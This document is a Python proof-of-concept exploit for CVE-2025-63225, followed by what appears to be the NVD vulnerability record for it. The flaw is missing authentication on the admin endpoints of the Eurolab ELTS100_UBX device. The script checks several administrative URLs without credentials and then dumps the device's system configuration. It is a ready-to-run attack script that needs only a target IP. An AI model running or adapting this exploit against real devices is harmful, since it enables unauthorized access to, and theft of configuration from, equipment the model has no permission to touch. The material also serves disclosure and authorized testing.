CVE-2025-63225

#!/usr/bin/env python3 """ CVE-2025-63225 PoC - Eurolab ELTS100_UBX Broken Access Control Note: This PoC is for authorized security testing only """ import requests import sys TARGET_IP = "192.168.1.100" # Target device IP TARGET_PORT = 80 BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def check_vulnerability(): """Check if target is vulnerable""" print(f"[*] Testing CVE-2025-63225 on {TARGET_IP}") # Test 1: Access system configuration without authentication endpoints = [ "/admin/system_config", "/admin/network_config", "/admin/firmware_upload", "/api/system/status", "/api/network/settings" ] for endpoint in endpoints: url = BASE_URL + endpoint try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f"[-] Protected: {endpoint}") else: print(f"[?] Unknown: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") def exploit_config_dump(): """Exploit: Dump system configuration""" print("\n[*] Attempting to dump system configuration...") url = f"{BASE_URL}/admin/system_config" try: response = requests.get(url) if response.status_code == 200: print("[+] Successfully retrieved system configuration:") print(response.text[:500]) except Exception as e: print(f"[!] Failed: {e}") if __name__ == "__main__": check_vulnerability() exploit_config_dump()

{"cve": {"id": "CVE-2025-63225", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.823", "lastModified": "2026-02-04T20:54:01.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eurolab ELTS100_UBX device (firmware version ELTS100v1.UBX) is vulnerable to Broken Access Control due to missing authentication on critical administrative endpoints. Attackers can directly access and modify sensitive system and network configurations, upload firmware, and execute unauthorized actions without any form of authentication. This vulnerability allows remote attackers to fully compromise the device, control its functionality, and disrupt its operation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eurolab-srl:elts_100_firmware:elts100v1.ubx:*:*:*:*:*:*:*", "matchCriteriaId": "13EA443D-4342-441B-90E8-E3A4E8AD64FE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:eurolab-srl:elts_100:e118:*:*:*:*:*:*:*", "matchCriteriaId": "7AA93461-B45F-4A8B-B670-0B1576586E54"}]}]}], "references": [{"url": "http://eurolab-srl.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63225_Eurolab_ELTS100_UBX_Broken_Access_Control", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}]}}